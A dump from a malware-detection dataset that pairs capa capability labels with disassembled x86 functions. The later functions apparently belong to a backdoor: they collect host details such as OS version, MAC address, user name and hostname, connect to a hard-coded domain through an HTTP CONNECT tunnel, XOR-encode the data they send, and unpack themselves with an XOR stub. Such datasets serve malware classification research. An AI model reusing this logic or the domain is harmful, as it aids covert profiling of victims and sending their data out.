joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10084bc0
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10084d68
push esi
xor esi, esi
push dword [edi + esi*4]
call sub.msvcrt.dll_free
inc esi
add esp, 4
cmp esi, 7
jne 0x10084bd2
push ebx
lea esi, [edi + 0x1c]
mov ebx, 7
lea esp, [esp]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084bf0
lea esi, [edi + 0x38]
mov ebx, 0xc
lea ebx, [ebx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084c10
lea esi, [edi + 0x68]
mov ebx, 0xc
lea ebx, [ebx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084c30
lea esi, [edi + 0x98]
mov ebx, 2
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084c50
push dword [edi + 0xa0]
call sub.msvcrt.dll_free
push dword [edi + 0xa4]
call sub.msvcrt.dll_free
push dword [edi + 0xa8]
call sub.msvcrt.dll_free
mov eax, dword fs:[0x18]
add esp, 0xc
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10084d66
lea esi, [edi + 0xb8]
mov ebx, 7
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084cb5
lea esi, [edi + 0xd4]
mov ebx, 7
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084cd2
lea esi, [edi + 0xf0]
mov ebx, 0xc
nop
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084cf0
lea esi, [edi + 0x120]
mov ebx, 0xc
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084d10
lea esi, [edi + 0x150]
mov ebx, 2
lea ecx, [ecx]
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
lea esi, [esi + 4]
sub ebx, 1
jne 0x10084d30
push dword [edi + 0x158]
call sub.msvcrt.dll_free
push dword [edi + 0x15c]
call sub.msvcrt.dll_free
push dword [edi + 0x160]
call sub.msvcrt.dll_free
add esp, 0xc
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10084d70
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10084f02
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x10084d9a
call fcn.10084b60
test al, al
jne 0x10084d9a
push dword [esi + 0xc]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0x10084db5
call fcn.10084b60
test al, al
jne 0x10084db5
push dword [esi + 0x10]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x14]
test ecx, ecx
je 0x10084dd0
call fcn.10084b60
test al, al
jne 0x10084dd0
push dword [esi + 0x14]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10084deb
call fcn.10084b60
test al, al
jne 0x10084deb
push dword [esi + 0x18]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x10084e06
call fcn.10084b60
test al, al
jne 0x10084e06
push dword [esi + 0x1c]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x10084e21
call fcn.10084b60
test al, al
jne 0x10084e21
push dword [esi + 0x20]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x10084e3c
call fcn.10084b60
test al, al
jne 0x10084e3c
push dword [esi + 0x24]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10084f02
mov ecx, dword [esi + 0x38]
test ecx, ecx
je 0x10084e7b
call fcn.10084b60
test al, al
jne 0x10084e7b
push dword [esi + 0x38]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x3c]
test ecx, ecx
je 0x10084e96
call fcn.10084b60
test al, al
jne 0x10084e96
push dword [esi + 0x3c]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x40]
test ecx, ecx
je 0x10084eb1
call fcn.10084b60
test al, al
jne 0x10084eb1
push dword [esi + 0x40]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x10084ecc
call fcn.10084b60
test al, al
jne 0x10084ecc
push dword [esi + 0x44]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x48]
test ecx, ecx
je 0x10084ee7
call fcn.10084b60
test al, al
jne 0x10084ee7
push dword [esi + 0x48]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x4c]
test ecx, ecx
je 0x10084f02
call fcn.10084b60
test al, al
jne 0x10084f02
push dword [esi + 0x4c]
call sub.msvcrt.dll_free
add esp, 4
pop esi
pop ebp
ret
Function at 0x10084f10
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0xbc]
test ecx, ecx
je 0x1008508d
mov eax, dword [edi + 0xb0]
test eax, eax
je 0x1008508d
cmp dword [eax], 0
jne 0x1008508d
call fcn.10084b60
test al, al
jne 0x1008508d
mov ecx, dword [edi + 0xb0]
call fcn.10084b60
test al, al
jne 0x1008508d
mov ecx, dword [edi + 0xb8]
test ecx, ecx
je 0x10084f8f
cmp dword [ecx], 0
jne 0x10084f8f
call fcn.10084b60
test al, al
jne 0x10084f8f
push dword [edi + 0xb8]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call fcn.10084d70
add esp, 8
mov ecx, dword [edi + 0xb4]
test ecx, ecx
je 0x10085074
cmp dword [ecx], 0
jne 0x10085074
call fcn.10084b60
test al, al
jne 0x10085074
push dword [edi + 0xb4]
call sub.msvcrt.dll_free
mov esi, dword [edi + 0xbc]
add esp, 4
test esi, esi
je 0x10085074
mov ecx, dword [esi]
test ecx, ecx
je 0x10084fe8
call fcn.10084b60
test al, al
jne 0x10084fe8
push dword [esi]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10085003
call fcn.10084b60
test al, al
jne 0x10085003
push dword [esi + 4]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1008501e
call fcn.10084b60
test al, al
jne 0x1008501e
push dword [esi + 8]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ecx, dword [eax + 0xa4]
shl ecx, 0x10
or ecx, dword [eax + 0xa8]
cmp ecx, 0x60001
jb 0x10085074
mov ecx, dword [esi + 0x30]
test ecx, ecx
je 0x10085059
call fcn.10084b60
test al, al
jne 0x10085059
push dword [esi + 0x30]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [esi + 0x34]
test ecx, ecx
je 0x10085074
call fcn.10084b60
test al, al
jne 0x10085074
push dword [esi + 0x34]
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xb0]
call sub.msvcrt.dll_free
push dword [edi + 0xbc]
call sub.msvcrt.dll_free
add esp, 8
mov ecx, dword [edi + 0xc0]
test ecx, ecx
je 0x100850f3
cmp dword [ecx], 0
jne 0x100850f3
call fcn.10084b60
test al, al
jne 0x100850f3
mov eax, dword [edi + 0xc4]
sub eax, 0xfe
push eax
call sub.msvcrt.dll_free
mov eax, dword [edi + 0xcc]
add esp, 4
sub eax, 0x80
je 0x100850cf
push eax
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [edi + 0xd0]
sub eax, 0x80
je 0x100850e5
push eax
call sub.msvcrt.dll_free
add esp, 4
push dword [edi + 0xc0]
call sub.msvcrt.dll_free
add esp, 4
mov ecx, dword [edi + 0xd4]
test ecx, ecx
je 0x10085128
cmp dword [ecx + 0xb4], 0
jne 0x10085128
call fcn.10084b60
test al, al
jne 0x10085128
push dword [edi + 0xd4]
call fcn.10084bc0
push dword [edi + 0xd4]
call sub.msvcrt.dll_free
add esp, 8
lea esi, [edi + 0x48]
lea ebx, [edi + 0xa8]
cmp esi, ebx
je 0x1008516c
mov ecx, dword [esi]
test ecx, ecx
je 0x10085140
call fcn.10084b60
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x10085165
call fcn.10084b60
test al, al
jne 0x10085165
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10085165
cmp dword [eax], 0
jne 0x10085165
push eax
call sub.msvcrt.dll_free
add esp, 4
add esi, 0x10
cmp esi, ebx
jne 0x10085135
push edi
call sub.msvcrt.dll_free
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10085230
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100d7080]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1018e31c]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x508], ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
test eax, eax
jne 0x1008527e
push str._create_locale
call fcn.10087070
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x508]
test eax, eax
jne 0x10085279
or eax, 0xffffffff
mov dword [0x1018e31c], eax
lea edi, [eax + 1]
neg edi
sbb edi, edi
and edi, eax
je 0x1008539e
test esi, esi
je 0x100852bf
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x100852bf
xor ecx, ecx
mov al, byte [esi + ecx]
lea edx, [ecx + ecx]
test al, al
je 0x100852dc
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x100852a2
push esi
push dword [ebp - 0x508]
call edi
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007b06a
mov esp, ebp
pop ebp
ret
cmp edx, 0x200
jae 0x10085467
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x100852bf
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call ebx
test eax, eax
je 0x100852bf
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call ebx
test eax, eax
je 0x100852bf
lea ebx, [ebp - 0x504]
xor eax, eax
jmp 0x10085370
movzx ecx, word [ebx + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x1008538f
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x10085370
jmp 0x100852bf
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x100852bf
cmp ecx, 5
ja 0x10085447
test esi, esi
je 0x10085447
call fcn.100855d0
mov edi, eax
test edi, edi
je 0x10085452
call fcn.1007bb80
mov ebx, eax
push esi
push dword [ebp - 0x508]
mov eax, dword [ebx + 0x70]
mov dword [ebp - 0x50c], eax
or eax, 2
mov dword [ebx + 0x70], eax
call fcn.100856e0
add esp, 8
test eax, eax
je 0x10085402
mov eax, dword [ebx + 0x6c]
push dword [eax + 4]
call sub.msvcrt.dll__setmbcp
add esp, 4
test eax, eax
jne 0x10085402
call fcn.100855d0
mov esi, eax
jmp 0x10085404
xor esi, esi
mov eax, dword [ebp - 0x50c]
mov ecx, dword [ebx + 0x6c]
mov dword [ebx + 0x70], eax
mov eax, dword [edi]
cmp eax, ecx
je 0x1008541b
mov dword [edi], ecx
mov dword [ebx + 0x6c], eax
mov eax, dword [edi + 4]
mov ecx, dword [ebx + 0x68]
cmp eax, ecx
je 0x1008542b
mov dword [edi + 4], ecx
mov dword [ebx + 0x68], eax
push edi
call fcn.10085470
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007b06a
mov esp, ebp
pop ebp
ret
call sub.msvcrt.dll__errno
mov dword [eax], 0x16
mov ecx, dword [ebp - 4]
xor esi, esi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1007b06a
mov esp, ebp
pop ebp
ret
call fcn.1007b95c
int3
Function at 0x100856e0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
mov eax, dword [0x100d7080]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x100857db
push 0x2d
push esi
call sub.msvcrt.dll_strchr
add esp, 8
test eax, eax
je 0x100857db
xor ecx, ecx
mov al, byte [ecx + esi]
lea edx, [ecx + ecx]
test al, al
je 0x1008573a
cbw
inc ecx
mov word [ebp + edx - 0x204], ax
cmp ecx, 0x100
jne 0x10085718
jmp 0x100857db
cmp edx, 0x200
jae 0x10085841
xor eax, eax
mov word [ebp + edx - 0x204], ax
lea eax, [ebp - 0x204]
push 0x2d
push eax
call sub.msvcrt.dll_wcsrchr
add esp, 8
test eax, eax
je 0x100857db
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
lea eax, [ebp - 0x504]
push 0xff
push eax
push 0x1001
lea eax, [ebp - 0x204]
push eax
call edi
test eax, eax
je 0x100857da
lea edx, [ebp - 0x504]
mov ecx, 0x5f
lea edx, [edx + eax*2]
mov word [edx - 2], cx
mov ecx, 0x100
sub ecx, eax
lea eax, [ebp - 0x204]
push ecx
push edx
push 0x1002
push eax
call edi
test eax, eax
je 0x100857da
lea edi, [ebp - 0x504]
xor eax, eax
nop
movzx ecx, word [edi + eax*2]
lea edx, [ebp - 0x304]
test cx, cx
je 0x10085823
mov byte [edx + eax], cl
inc eax
cmp eax, 0x100
jne 0x100857c0
pop edi
mov eax, dword [0x1018e324]
test eax, eax
jne 0x10085801
push str.setlocale
call fcn.10087070
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x100857fc
or eax, 0xffffffff
mov dword [0x1018e324], eax
lea ecx, [eax + 1]
neg ecx
sbb ecx, ecx
and ecx, eax
je 0x1008582f
push esi
push ebx
call ecx
add esp, 8
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007b06a
mov esp, ebp
pop ebp
ret
mov byte [edx + eax], 0
lea esi, [ebp - 0x304]
jmp 0x100857da
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1007b06a
mov esp, ebp
pop ebp
ret
call fcn.1007b95c
int3
Function at 0x10085ec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
call sym.steam_api.dll_SteamAPI_ISteamController_GetControllerState
mov esi, dword [ebp + 8]
test al, al
je 0x10085ede
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.10085ef0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401340
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a0
mov eax, dword [0x421004]
xor eax, esp
mov dword [esp + 0x19c], eax
push str.10.10.10.10
push 0x20
push 0x4217ec
mov dword [0x42180c], 0xc38
call fcn.0040b251
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.00404930
call fcn.00403f30
call fcn.00404100
lea eax, [esp]
push eax
call fcn.0040b433
mov eax, dword [esp + 4]
add esp, 4
mov dword [0x4217c4], eax
push 0
push 0
push 0
push 0x4013d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00401640
int3

Function at 0x401410
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
cmp ebx, 0xffffffff
je 0x40148f
push esi
mov esi, dword [ebp + 8]
xor eax, eax
test esi, esi
jle 0x401480
cmp esi, 0x20
jb 0x401473
mov ecx, esi
push edi
and ecx, 0x8000001f
jns 0x40143a
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [str.________________]
mov edi, esi
sub edi, ecx
lea ecx, [edx + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x401450
pop edi
cmp eax, esi
jge 0x401480
xor byte [eax + edx], 0x28
inc eax
cmp eax, esi
jl 0x401477
push 0
push esi
push edx
push ebx
call dword [sym.imp.WS2_32.dll_send]
pop esi
pop ebx
pop ebp
ret
or eax, 0xffffffff
pop ebx
pop ebp
ret
Function at 0x404340
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00407a10
add esp, 0xc
mov dword [ebp - 0x120], 0x11c
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x404490
cmp dword [ebp - 0x110], 2
jne 0x404490
mov eax, dword [ebp - 0x11c]
cmp eax, 4
jbe 0x404490
cmp eax, 5
jne 0x4043df
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x4043bd
push str.Windows_2000
jmp 0x404481
cmp eax, 1
jne 0x4043cc
push str.Windows_XP
jmp 0x404481
cmp eax, 2
jne 0x404490
push str.Windows_Server_2003
jmp 0x404481
cmp eax, 6
jne 0x40444f
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x404405
cmp byte [ebp - 6], 1
jne 0x4043fe
push str.Windows_Vista
jmp 0x404481
push str.Windows_Server_2008
jmp 0x404481
cmp eax, 1
jne 0x40441d
cmp byte [ebp - 6], al
jne 0x404416
push str.Windows_7
jmp 0x404481
push str.Windows_Server_2008_R2
jmp 0x404481
cmp eax, 2
jne 0x404436
cmp byte [ebp - 6], 1
jne 0x40442f
push str.Windows_8
jmp 0x404481
push str.Windows_Server_2012
jmp 0x404481
cmp eax, 3
jne 0x404490
cmp byte [ebp - 6], 1
jne 0x404448
push str.Windows_8.1
jmp 0x404481
push str.Windows_Server_2012_R2
jmp 0x404481
cmp eax, 0xa
jne 0x404490
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x404472
cmp byte [ebp - 6], 1
jne 0x40446b
push str.Windows_10
jmp 0x404481
push str.Windows_Server_2016
jmp 0x404481
cmp eax, 1
jne 0x404490
cmp byte [ebp - 6], al
jne 0x404490
push str.Windows_10_Update_1
push 0x40
push 0x422958
call fcn.0040b251
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret

Function at 0x4044a0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x288
mov dword [ebp - 4], 0x288
call fcn.0040bf34
mov esi, eax
add esp, 4
test esi, esi
je 0x40455f
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x4044ea
push esi
call fcn.0040b475
push dword [ebp - 4]
call fcn.0040bf34
mov esi, eax
add esp, 8
test esi, esi
je 0x40455f
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40455f
test esi, esi
je 0x40455f
nop dword [eax]
cmp dword [esi + 0x1a0], 6
jne 0x404512
cmp dword [esi + 0x190], 6
je 0x40451d
mov esi, dword [esi]
test esi, esi
jne 0x404500
pop esi
mov esp, ebp
pop ebp
ret
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push str._02X_02X_02X_02X_02X_02X
push 0x422934
call fcn.004051a0
add esp, 0x20
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404570
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x3c
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.00407a10
add esp, 0xc
mov dword [ebp - 0x44], 0x3c
lea eax, [ebp - 0x44]
push eax
push 0x422378
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x4045be
push str.Unknow
push 0x3c
push 0x422378
call fcn.0040b251
add esp, 0xc
push 0x422378
lea eax, [ebp - 0x40]
push 0x3c
push eax
call fcn.0040b251
lea eax, [ebp - 0x40]
push 0x3c
push eax
call fcn.0040aefe
add esp, 0x14
lea ecx, [ebp - 0x40]
mov eax, str.system
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x404604
test dl, dl
je 0x404600
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x404604
add ecx, 2
add eax, 2
test dl, dl
jne 0x4045e4
xor eax, eax
jmp 0x404609
sbb eax, eax
or eax, 1
test eax, eax
jne 0x404621
push str.SYSTEM
push 0x14
push 0x4223d4
call fcn.0040b251
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret

Function at 0x404630
Capabilities:
Get hostname
Resolve dns

Disassembly:
push 0x12c
push 0x422808
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x40466d
push str.Unknow
push 0x12c
push 0x422808
call fcn.0040b251
push str.UNknow
push 0x14
push 0x422944
call fcn.0040b251
add esp, 0x18
ret
push 0x422808
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404691
push str.UNknow
push 0x14
push 0x422944
call fcn.0040b251
add esp, 0xc
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x14
push 0x422944
call fcn.0040b251
add esp, 0xc
ret

Function at 0x4046b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push str.custom.songuulcomiss.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x404722
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
test ecx, ecx
je 0x404722
movsx eax, word [eax + 0xa]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.00401260
add esp, 8
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x41ec14
push 0x422310
call fcn.00405180
add esp, 0xc
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4227e8], eax
cmp eax, 0xffffffff
jne 0x404732
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret
mov eax, 2
mov word [ebp - 0x14], ax
movzx eax, word [0x4217c0]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x422310
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40477a
push dword [0x4227e8]
jmp 0x40471c
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret
Function at 0x404790
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
mov eax, dword [0x421004]
xor eax, ebp
mov dword [ebp - 4], eax
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4227e8], eax
cmp eax, 0xffffffff
jne 0x4047d0
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret
mov eax, 2
mov word [ebp - 0x898], ax
movzx eax, word [0x42180c]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x4217ec
mov word [ebp - 0x896], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x894], eax
lea eax, [ebp - 0x898]
push 0x10
push eax
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x404838
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_closesocket]
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret
push 0x80
lea eax, [ebp - 0x88]
push 0
push eax
call fcn.00407a10
add esp, 0xc
lea eax, [ebp - 0x88]
push dword [0x4217c0]
push str.custom.songuulcomiss.com
push str.CONNECT__s:_d_HTTP_1.1_r_n_r_n
push 0x80
push eax
call fcn.00401320
lea ecx, [ebp - 0x88]
add esp, 0x14
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404880
push 0
sub ecx, edx
lea eax, [ebp - 0x88]
push ecx
push eax
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_send]
push 0x800
lea eax, [ebp - 0x888]
push 0
push eax
call fcn.00407a10
add esp, 0xc
lea eax, [ebp - 0x888]
push 0
push 0x800
push eax
push dword [0x4227e8]
call dword [sym.imp.WS2_32.dll_recv]
mov ax, word [0x41e908]
mov word [ebp - 0x89c], ax
mov al, byte [0x41e90a]
mov byte [ebp - 0x89a], al
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x888]
push eax
call fcn.00408a90
add esp, 8
test eax, eax
je 0x4047c0
push 0x41ec18
push eax
call fcn.004072f0
mov ecx, dword [ebp - 4]
add esp, 8
test eax, eax
setne al
xor ecx, ebp
call fcn.00405387
mov esp, ebp
pop ebp
ret

Function at 0x4109ee
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004106ae
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x40915c
nop
nop
mov ecx, 0x4a071504
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
mov ecx, 0x7ec6d5d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
jmp 0x401219